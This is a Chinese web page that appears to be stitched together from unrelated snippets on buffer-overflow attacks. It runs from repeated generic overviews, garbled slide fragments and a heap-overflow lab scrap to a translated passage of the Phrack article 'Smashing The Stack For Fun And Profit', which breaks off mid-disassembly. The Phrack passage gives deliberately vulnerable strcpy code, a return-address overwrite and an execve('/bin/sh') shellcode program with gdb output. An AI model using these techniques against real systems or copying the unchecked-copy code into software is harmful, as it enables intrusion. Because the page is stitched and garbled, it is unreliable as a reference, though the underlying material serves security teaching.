经典转载 - 缓冲区溢出的原理和实践(Phrack)
缓冲区溢出攻击的基本原理
缓冲区溢出攻击的基本原理
缓冲区溢出攻击(Buffer Overflow Attack)是一种常见的安全漏洞,指的是攻击者利用输入数据的长度或格式错误,超出程序设计者预留的存储空间范围,从而写入到相邻内存空间中,进而控制程序的执行或修改程序的行为。
缓冲区溢出攻击的基本原理如下:
1.内存分配:程序在运行时会根据变量类型和长度来分配内存空间。
2.缓冲区溢出:攻击者通过向程序输入异常数据,超出了程序预留的内存空
间。
3.覆盖关键数据:溢出的数据覆盖了原本存储的数据,可能是程序的返回地
址、函数指针等关键信息。
4.控制程序行为:攻击者利用溢出的数据修改程序的执行路径,跳转到自己
准备好的恶意代码。
5.执行恶意代码:程序执行了攻击者注入的恶意代码,可能导致系统崩溃、
拒绝服务或远程执行任意命令。
为了避免缓冲区溢出攻击,开发人员可以采取以下措施:
•使用安全的编程语言和工具,如内存安全的语言(如Rust)或经过良好测试的C/C++库。
•限制输入数据的长度,确保不会超过缓冲区可容纳的大小。
•进行输入验证和过滤,确保输入数据符合预期的格式和范围。
•定期更新软件和操作系统,及时修补已知的漏洞。
•实施数据执行保护(DEP)和地址空间布局随机化(ASLR)等安全机制。
综上所述,缓冲区溢出攻击是一种常见的安全漏洞,它利用错误处理输入数据的程序中的缺陷,从而控制程序行为。
开发人员和系统管理员应该密切关注安全问题,采取相应的防护措施,以保护系统和用户的信息安全。
缓冲区溢出攻击原理
#include<iostream.h> #include<string.h> void input() { int access(0); //access为1时表示登录正确得到权限,初始为0 char password[4]; //用于存储用户输入的登录密码 cout<<"输入密码:"; cin>>password; if(strcmp(password,"1988")==0)//比较两个串是否相等,如果相等返回值为0 { access=1; //两串相等,将权限变量赋值1 } if(access!=0) //access非零,则登录成功 cout<<"登录成功"<<endl; else //access为零,登录失败 cout<<"error"; } void main() { input(); //函数调用 }
返回地址
4) 然后把当前的栈指针(SP)拷贝到FP,作为新的基 地址; 5) 最后为本地变量留出一定空间
实在参数 栈底(内存高端)
低 ESP→ ←buf→
缓 冲 区
缓 冲 区
缓 冲 区
寄存器 ESP→ 高 ←→ EIP argc argv ESP→ ①调用之前 ②参数、EIP压栈 ③寄存器压栈 分配局部变量 EIP argc argv ESP→
当前EBP
48h 4(n=4) 3(m=3) EBP EIP 5 6
语句执行前的ESP
语句执行前的EBP
当缓冲区溢出发生时……
int AFunc(int i,int j) { int m = 3; int n = 4; char szBuf[8] = {0}; strcpy(szBuf, “This is a overflow buffer!”); m = i; n = j; BFunc(m,n); return 8; }
缓冲区溢出原理
缓冲区溢出原理缓冲区溢出是一种常见的安全漏洞,它利用了程序在处理数据时没有正确限制输入长度的特点。
当程序接收用户输入数据并存储在缓冲区中时,如果输入的数据超过了缓冲区所能容纳的大小,就会导致溢出。
这种溢出可能导致程序崩溃、系统崩溃,甚至是远程攻击者能够利用溢出来执行恶意代码。
缓冲区溢出的原理是利用了程序在内存中分配缓冲区时的特性。
通常,程序在内存中为缓冲区分配一块连续的内存空间,并将用户输入的数据存储在这个缓冲区中。
然而,程序并没有对用户输入的数据长度进行有效的检查和限制,导致用户可以输入超出缓冲区大小的数据。
当用户输入的数据超过缓冲区大小时,多余的数据会被存储在相邻的内存区域中。
攻击者可以利用这个特性,通过输入特定的数据,覆盖控制程序的返回地址或其他关键数据,从而控制程序的行为。
一旦攻击者成功利用缓冲区溢出漏洞,可能会导致以下问题:1. 执行任意代码:攻击者可以注入恶意代码,并使程序执行该代码,这可能导致系统被完全控制。
2. 提升权限:攻击者可以修改关键数据,包括用户权限、系统配置等,从而获得更高的权限。
3. 拒绝服务:攻击者可以通过溢出来破坏程序的正常运行,导致程序崩溃或系统崩溃,从而拒绝正常用户的服务。
为了防止缓冲区溢出,开发者应该采取以下措施:1. 输入验证:对用户输入进行有效验证和过滤,确保输入的数据长度不会超过缓冲区的大小。
2. 使用安全的库函数:使用具有长度检查的安全库函数替代容易造成溢出的不安全函数,例如使用strncpy替代strcpy。
3. 栈保护机制:启用操作系统提供的栈保护机制,如栈保护、地址空间布局随机化(ASLR)等,以减少攻击的可能性。
4. 定期修补和更新:及时安装系统和应用程序的安全补丁,以修复已知的缓冲区溢出漏洞。
通过采取上述措施,可以有效减少缓冲区溢出漏洞的风险,提高系统的安全性。
缓冲区溢出攻击的基本原理
缓冲区溢出攻击的基本原理1. 引言缓冲区溢出(Buffer Overflow)攻击是指攻击者利用程序设计中的缺陷,向缓冲区写入超出其容量的数据,从而覆盖到其他内存区域或者执行恶意代码。
这种攻击方式在软件开发和网络安全领域中被广泛研究,属于一种常见的安全漏洞。
让我们通过以下几个步骤深入了解缓冲区溢出攻击的基本原理。
2. 缓冲区溢出2.1 缓冲区缓冲区(Buffer)是计算机内存中一段预留给程序使用的存储区域,用于临时保存数据。
在C和C++等低级编程语言中,缓冲区通常是以数组的形式存在。
2.2 缓冲区溢出当程序收到输入数据超过预分配的缓冲区容量时,数据会溢出到相邻的内存区域。
由于这些相邻的内存区域往往存放着重要的数据或者程序代码,攻击者可以借此修改程序的行为,造成安全漏洞。
3. 缓冲区溢出攻击的过程3.1 寻找目标程序攻击者首先需要找到目标程序中存在缓冲区溢出漏洞的函数,一般是在程序中存在对用户输入进行处理的函数。
这些函数通常是目标程序接收外部输入的入口。
3.2 构造恶意输入攻击者构造一段特定的输入数据,超过目标程序预分配的缓冲区大小。
这段输入数据中通常包含恶意代码,也可以包含用于修改程序行为的特定数据。
3.3 栈溢出攻击者向目标程序发送构造的恶意数据。
当目标程序将恶意数据输入到缓冲区时,超过缓冲区容量的数据将溢出到栈(Stack)中。
3.4 覆盖返回地址栈是一种用于存储函数调用的内存结构,其中包含函数的返回地址。
攻击者通过溢出栈的方式,将恶意数据覆盖到返回地址上。
3.5 执行恶意代码当目标程序执行函数返回的时候,会跳转到被覆盖的恶意代码的地址。
这样,攻击者就成功地执行了恶意代码,从而实现了攻击的目的。
4. 防御机制为了有效防范缓冲区溢出攻击,开发者和安全工程师可以采取一些常见的防御措施。
4.1 输入验证合理的输入验证是防范缓冲区溢出攻击的基础。
开发者应该对用户输入的数据进行有效的检查和过滤,确保其不会超过预分配的缓冲区大小。
缓冲区溢出的原理
缓冲区溢出的原理嘿,朋友们!今天咱来聊聊缓冲区溢出这个有意思的玩意儿。
你想想看啊,缓冲区就好比是一个小仓库,它有自己的容量限制。
就好像你家里的碗,能装的东西是有限的嘛。
但是呢,如果有人不停地往这个小仓库里塞东西,塞啊塞,超过了它能承受的极限,会咋样?那肯定就“嘭”的一下,爆啦!这就是缓冲区溢出啦!比如说啊,程序就像一辆在公路上跑的汽车,而缓冲区就是汽车的后备箱。
如果司机不管不顾地拼命往后备箱塞东西,塞得满满的都要溢出来了,那车还能正常跑吗?肯定会出问题呀!程序也是一样的道理呀。
这可不是开玩笑的事儿呢!缓冲区溢出可能会导致各种各样的奇怪现象。
就好像一个好好的人,突然就变得不正常了,一会儿抽风一会儿发呆的。
程序可能会突然崩溃,或者出现一些莫名其妙的错误。
哎呀呀,那可就麻烦大啦!有时候啊,一些不怀好意的人还会利用这个漏洞来搞破坏呢!他们就像那些偷偷摸摸的小偷,趁着缓冲区溢出这个机会,钻进程序里,偷取重要的信息或者搞些恶作剧。
你说气不气人!那怎么避免缓冲区溢出呢?这就需要我们在写程序的时候小心谨慎啦,就像我们走路要看好脚下一样。
要合理地分配和使用缓冲区,别一股脑儿地往里塞东西。
而且啊,要经常检查一下,看看有没有超量的情况。
咱再打个比方,就像你去超市买东西,你得看着购物车,别装得太满了呀,不然提都提不动,还可能把东西撒一地呢!写程序也是这个理儿。
还有啊,我们要加强对程序的检测和保护。
就像给家里装个防盗门一样,让那些不怀好意的人进不来。
要时刻保持警惕,不能让缓冲区溢出这个小捣蛋鬼得逞!总之呢,缓冲区溢出可不是小事儿,我们可得重视起来。
只有这样,我们的程序才能稳稳当当、顺顺利利地运行,不会出什么幺蛾子。
大家可都要记住啦!可别不当回事儿哟!不然到时候出了问题,后悔都来不及啦!这缓冲区溢出啊,就像是程序世界里的一个小陷阱,我们得小心翼翼地绕过去,可别一脚踩进去啦!。
简述缓冲区溢出攻击的原理以及防范方法
简述缓冲区溢出攻击的原理以及防范方法
一、缓冲区溢出攻击原理
缓冲区溢出攻击(Buffer Overflow Attack)是一种非法异常的程序运行行为,它发生的目的是让受害者的程序运行出现崩溃,从而获得机器控制权限,可以获取机器中存有的敏感资料,并进行恶意操作,如发送垃圾邮件,拒绝服务攻击(DoS attack),远程控制等行为破坏网络安全。
缓冲区溢出攻击的基本原理,就是恶意程序使用某种方法,将程序缓冲区中存放的数据或者信息溢出,超出缓冲区的容量,而这种溢出的数据又存放了受害者程序控制机器的恶意命令,从而给受害者程序植入恶意代码,使恶意程序获得了机器的控制权限,进而达到攻击系统的目的。
二、防范方法
1、使用受检程序,受检程序是一种编译技术,通过对程序源代码进行类型检查、安全检查等操作,来把漏洞修复好,从而起到防止缓冲区溢出攻击的作用。
2、使用数据流分析技术,它是一种动态分析技术,可以识别出恶意代码并阻止其危害,对程序运行的漏洞进行检查,从而防止攻击者利用缓冲区溢出攻击系统。
3、实行严格的安全审计制度,对程序源码、程序诊断、数据加密技术等进行严格的审计,确保程序运行的安全性,以及防止攻击者利用缓冲区溢出攻击系统。
4、采用虚拟化技术,虚拟化技术可以在不同的安全层次上对程序进行控制,对程序运行的过程进行审查,从而防止攻击者使用缓冲区溢出攻击系统。
5、对网络环境进行安全审计,包括电脑中存在的安全漏洞,系统的安全配置,网络设备的稳定性以及系统的社会工程学攻击等,从而确保网络环境能够不被缓冲区溢出攻击所侵袭。
缓冲区溢出-原理和简单利用-概述说明以及解释
缓冲区溢出-原理和简单利用-概述说明以及解释1.引言概述部分是文章的开篇,旨在引入读者对于缓冲区溢出问题的背景和概念。
下面是概述部分的内容:1.1 概述在计算机科学和网络安全领域中,缓冲区溢出(Buffer Overflow)是一种常见的安全漏洞,它可能导致系统崩溃、数据泄露、远程命令执行等严重后果。
本文将介绍缓冲区溢出的原理和简单利用方法。
缓冲区溢出指的是当向一个缓冲区写入数据时,超出了该缓冲区所能容纳的大小,导致溢出的数据覆盖到相邻的内存区域。
这种溢出可能会覆盖控制流程信息,改变程序执行路径,从而使攻击者能够执行恶意代码。
缓冲区溢出是一种经典的安全漏洞,其发现最早可以追溯到20世纪70年代。
尽管多年来在软件和系统的开发过程中进行了一系列的改进和加固,但仍然存在很多软件和系统容易受到缓冲区溢出攻击的漏洞存在。
正因如此,了解缓冲区溢出的原理和简单利用方法对于计算机科学和网络安全从业人员来说是至关重要的。
本文的主要目的是帮助读者理解缓冲区溢出的原理,并介绍常见的利用方法。
在深入研究和了解缓冲区溢出的背景之后,读者将能够更好地理解和应对这种常见的安全威胁。
接下来的章节将分别介绍缓冲区溢出的原理,并提供一些简单的利用方法作为案例。
最后,我们将总结本文的内容,并进一步讨论缓冲区溢出的意义和应对措施。
通过阅读本文,我们希望读者能够加深对于缓冲区溢出问题的理解,提高对于软件和系统安全的意识,并能够采取相应的措施来预防和应对这种安全漏洞。
让我们一起深入探索缓冲区溢出的原理和简单利用方法吧!文章结构是指文章整体组织的安排和框架。
一个良好的文章结构可以帮助读者更好地理解和吸收文章内容。
本文主要讨论缓冲区溢出的原理和简单利用方法,因此文章结构如下:1. 引言1.1 概述引入缓冲区溢出的基本概念和定义,解释缓冲区溢出在计算机领域的重要性和普遍存在的问题。
1.2 文章结构介绍本文的文章结构以及各个部分的内容安排,方便读者了解整个文章的组织。
缓冲区溢出(栈溢出)
缓冲区溢出(栈溢出)前⾔在现在的⽹络攻击中,缓冲区溢出⽅式的攻击占据了很⼤⼀部分,缓冲区溢出是⼀种⾮常普遍的漏洞,但同时,它也是⾮常危险的⼀种漏洞,轻则导致系统宕机,重则可导致攻击者获取系统权限,进⽽盗取数据,为所欲为。
其实缓冲区攻击说来也简单,请看下⾯⼀段代码:int main(int argc, char *argv[]) {char buffer[8];if(argc > 1) strcpy(buffer, argv[1]);return 0;}当我们在对argv[1]进⾏拷贝操作时,并没对其长度进⾏检查,这时候攻击者便可以通过拷贝⼀个长度⼤于8的字符串来覆盖程序的返回地址,让程序转⽽去执⾏攻击代码,进⽽使得系统被攻击。
本篇主要讲述缓冲区溢出攻击的基本原理,我会从程序是如何利⽤栈这种数据结构来进⾏运⾏的开始,试着编写⼀个shellcode,然后⽤该shellcode来溢出我们的程序来进⾏说明。
我们所要使⽤的系统环境为x86_64 Linux,我们还要⽤到gcc(v7.4.0)、gdb(v8.1.0)等⼯具,另外,我们还需要⼀点汇编语⾔的基础,并且我们使⽤AT&T格式的汇编。
进程在现代的操作系统中,进程是⼀个程序的运⾏实体,当在操作系统中运⾏⼀个程序时,操作系统会为我们的程序创建⼀个进程,并给我们的程序在内存中分配运⾏所需的空间,这些空间被称为进程空间。
进程空间主要有三部分组成:代码段,数据段和栈段。
如下图所⽰:栈栈是⼀种后⼊先出的数据结构,在现代的⼤多数编程语⾔中,都使⽤栈这种数据结构来管理过程之间的调⽤。
那什么⼜是过程之间的调⽤呢,说⽩了,⼀个函数或者⼀个⽅法便是⼀个过程,⽽在函数或⽅法内部调⽤另外的过程和⽅法便是过程间的调⽤。
我们知道,程序的代码是被加载到内存中,然后⼀条条(这⾥指汇编)来执⾏的,⽽且时不时的需要调⽤其他的函数。
当⼀个调⽤过程调⽤⼀个被调⽤过程时,所要执⾏的代码所在的内存地址是不同的,当被调⽤过程执⾏完后,⼜要回到调⽤过程继续执⾏。
缓冲区溢出攻击原理
缓冲区溢出攻击原理一、缓冲区溢出攻击原理缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。
利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。
更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
缓冲区溢出是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。
据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
知道了这个数据我非常震惊,以前进行的活动大都是找各方面的黑客软件然后学习这个软件怎么用,但是众所周知,攻击型的黑客软件都是各大杀毒软件的活靶子,基本上几天就不能用了,所以学习了这些软件的原理,我也能写几行代码,不再依赖黑客软件,就算汇编语言难掌握,也可以保存好常用的代码,其使用方法是比较简单的,下面是我学习的过程,由于没有经验,肯定有不少疏漏,也肯定不少地方绕了弯路,但自己学的过程中也获得了更多乐趣和收货时的喜悦,下面是具体介绍。
我用的是windows xp sp3编程软件是vc6.0。
还用到了olldbg2.0。
都是很常用的工具。
先介绍一下缓冲区溢出攻击的基础知识储备,进程内存空间是我最先接触的,现在看来也是最必要的基础,windows系统核心内存区间0xFFFFFFFF~0x80000000 (4G~2G)为Win32操作系统保留用户内存区间0x00000000~0x80000000 (2G~0G)堆: 动态分配变量(malloc), 向高地址增长进程使用的内存可以按照功能大致分成以下4 个部分。
(1)代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。
(2)数据区:用于存储全局变量等。
(3)堆区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。
动态分配和回收是堆区的特点。
缓冲区溢出检测实验
if(diff<=strlen(bufchar)) {
printf("Message: buf1 is overflow, overwritten myoutfile\n"); }
实验工具
MS08067 溢出工具
实验要点
本地缓冲区堆溢出 MS08
VM Server
VM Client
实验步骤指导
实验准备
实验概要:熟悉了解相关的实验工具。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【知识重点】 在引入一个基于堆的缓冲区溢出的例子前,首先简单介绍一个例题的意图。在一个堆栈 里边申请两块存储空间,处于低地址的 buf1 和处于高地址的 buf2。在 buf2 当中,存储了 一个名为 myoutfile 的字符串,用来存储文件名。buf1 用来接收输入,同时将这些输入字符 在程序执行过程中写入到 buf2 存储的文件名 myoutfile 所指向的文件中。
getchar(); return 0; }
通过 malloc 命令,申请了两个堆的存储空间。在这里要注意分配堆的存储空间时,存在
一个顺序问题。buf2 的申请命令虽然在 buf1 的申请命令之前,但是在运行过程中,内存空
间中 buf2 是在高地址位,buf1 是在低地址位。这个随操作系统和编译器的不同而不同。
//#include "stdafx.h" #include "iostream" #include "stdio.h" #include "stdlib.h" #include "memory.h"
缓冲区溢出的原理和实践
标题:缓冲区溢出的原理和实践(Phrack)作者:Sinbad.oO Phrack 49 Oo.V olume Seven, Issue Forty-NineFile 14 of 16BugTraq, r00t, and bring youXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXSmashing The Stack For Fun And Profit以娱乐和牟利为目的践踏堆栈(缓冲区溢出的原理和实践)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX原作by Aleph Onealeph1@翻译xuzq@'践踏堆栈'[C语言编程] n. 在许多C语言的实现中,有可能通过写入例程中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trash thestack),堆栈乱写(scribble the stack),堆栈毁坏(mangle the stack);术语mung the stack并不使用,因为这从来不是故意造成的.参阅spam?也请参阅同名的漏洞,胡闹内核(fandango on core),内存泄露(memoryleak),优先权丢失(precedence lossage),螺纹滑扣(overrun screw).简介~~~~~~~在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文试图解释什么是缓冲区溢出, 以及如何利用.汇编的基础知识是必需的. 对虚拟内存的概念, 以及使用gdb的经验是十分有益的, 但不是必需的. 我们还假定使用Intel x86 CPU, 操作系统是Linux.在开始之前我们给出几个基本的定义: 缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例. C程序员通常和字缓冲区数组打交道.最常见的是字符数组. 数组, 与C语言中所有的变量一样, 可以被声明为静态或动态的. 静态变量在程序加载时定位于数据段. 动态变量在程序运行时定位于堆栈之中.溢出, 说白了就是灌满, 使内容物超过顶端, 边缘, 或边界. 我们这里只关心动态缓冲区的溢出问题, 即基于堆栈的缓冲区溢出.进程的内存组织形式~~~~~~~~~~~~~~~~~~~~为了理解什么是堆栈缓冲区, 我们必须首先理解一个进程是以什么组织形式在内存中存在的. 进程被分成三个区域: 文本, 数据和堆栈. 我们把精力集中在堆栈区域, 但首先按照顺序简单介绍一下其他区域.文本区域是由程序确定的, 包括代码(指令)和只读数据. 该区域相当于可执行文件的文本段. 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误(segmentation violation).数据区域包含了已初始化和未初始化的数据. 静态变量储存在这个区域中. 数据区域对应可执行文件中的data-bss段. 它的大小可以用系统调用brk(2)来改变.如果bss数据的扩展或用户堆栈把可用内存消耗光了, 进程就会被阻塞住, 等待有了一块更大的内存空间之后再运行. 新内存加入到数据和堆栈段的中间./------------------\ 内存低地址| || 文本 || ||------------------ || (已初始化) || 数据 || (未初始化) ||------------------ || || 堆栈 || |\------------------/ 内存高地址Fig. 1 进程内存区域什么是堆栈?~~~~~~~~~~~~~堆栈是一个在计算机科学中经常使用的抽象数据类型. 堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来, 这个特性通常称为后进先处(LIFO)队列.堆栈中定义了一些操作. 两个最重要的是PUSH和POP. PUSH操作在堆栈的顶部加入一个元素. POP操作相反, 在堆栈顶部移去一个元素, 并将堆栈的大小减一.为什么使用堆栈?~~~~~~~~~~~~~~~~现代计算机被设计成能够理解人们头脑中的高级语言. 在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function). 从这一点来看, 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,函数把控制权返回给调用之后的语句或指令. 这种高级抽象实现起来要靠堆栈的帮助.堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返回值也要用到堆栈.堆栈区域~~~~~~~~~~堆栈是一块保存数据的连续内存. 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.堆栈的底部在一个固定的地址. 堆栈的大小在运行时由内核动态地调整. CPU实现指令PUSH和POP, 向堆栈中添加元素和从中移去元素.堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola, SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址, 或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用,因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部变量的偏移量是负值.当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于有效地序幕和收尾工作.下面我们用一个简单的例子来展示堆栈的模样:example1.c:------------------------------------------------------------------------------void function(int a, int b, int c) {char buffer1[5];char buffer2[10];}void main() {function(1,2,3);}------------------------------------------------------------------------------为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产生汇编代码输出:$ gcc -S -o example1.s example1.c通过查看汇编语言输出, 我们看到对function()的调用被翻译成:pushl $3pushl $2pushl $1call function以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做的第一件事情是例程的序幕工作:pushl %ebpmovl %esp,%ebpsubl $20,%esp将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时堆栈的模样(每个空格代表一个字节):内存低地址内存高地址buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ]堆栈顶部堆栈底部缓冲区溢出~~~~~~~~~~~~缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:example2.c------------------------------------------------------------------------------void function(char *str) {char buffer[16];strcpy(buffer,str);}void main() {char large_string[256];int i;for( i = 0; i < 255; i++)large_string[i] = 'A';function(large_string);}------------------------------------------------------------------------------这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就会产生段错误. 让我们看看在调用函数时堆栈的模样:内存低地址内存高地址buffer sfp ret *str<------ [ ][ ][ ][ ]堆栈顶部堆栈底部这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的内容(larger_string[])复制到buffer[]里, 直到在字符串中碰到一个空字符. 显然,buffer[]比*str小很多. buffer[]只有16个字节长, 而我们却试图向里面填入256个字节的内容. 这意味着在buffer之后, 堆栈中250个字节全被覆盖. 包括SFP, RET, 甚至*str! 我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回地址的下一个指令, 此时我们就得到一个段错误.因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程. 现在回到第一个例子, 回忆当时堆栈的模样:内存低地址内存高地址buffer2 buffer1 sfp ret a b c<------ [ ][ ][ ][ ][ ][ ][ ]堆栈顶部堆栈底部现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码. 堆栈中在buffer1[]之前的是SFP, SFP之前是返回地址. ret从buffer1[]的结尾算起是4个字节.应该记住的是buffer1[]实际上是2个字即8个字节长. 因此返回地址从buffer1[]的开头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句'x=1;', 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:example3.c:------------------------------------------------------------------------------void function(int a, int b, int c) {char buffer1[5];char buffer2[10];int *ret;ret = buffer1 + 12;(*ret) += 8;}void main() {int x;x = 0;function(1,2,3);x = 1;printf("%d\n",x);}------------------------------------------------------------------------------我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用过一个试验值(比如1), 编译该程序, 祭出工具gdb:------------------------------------------------------------------------------[aleph1]$ gdb example3GDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble mainDump of assembler code for function main:0x8000490 <main>: pushl %ebp0x8000491 <main+1>: movl %esp,%ebp0x8000493 <main+3>: subl $0x4,%esp0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)0x800049d <main+13>: pushl $0x30x800049f <main+15>: pushl $0x20x80004a1 <main+17>: pushl $0x10x80004a3 <main+19>: call 0x8000470 <function>0x80004a8 <main+24>: addl $0xc,%esp0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax0x80004b5 <main+37>: pushl %eax0x80004b6 <main+38>: pushl $0x80004f80x80004bb <main+43>: call 0x8000378 <printf>0x80004c0 <main+48>: addl $0x8,%esp0x80004c3 <main+51>: movl %ebp,%esp0x80004c5 <main+53>: popl %ebp0x80004c6 <main+54>: ret0x80004c7 <main+55>: nop我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.Shell Code~~~~~~~~~~现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢? 在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:内存低DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a b c<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]^ ||____________________________|堆栈顶部堆栈底部派生出一个shell的C语言代码是这样的:shellcode.c-----------------------------------------------------------------------------#include <stdio.h>void main() {char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);}------------------------------------------------------------------------------为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c[aleph1]$ gdb shellcodeGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble mainDump of assembler code for function main:0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: retEnd of assembler dump.(gdb) disassemble __execveDump of assembler code for function __execve:0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx0x80002c0 <__execve+4>: movl $0xb,%eax0x80002c5 <__execve+9>: movl 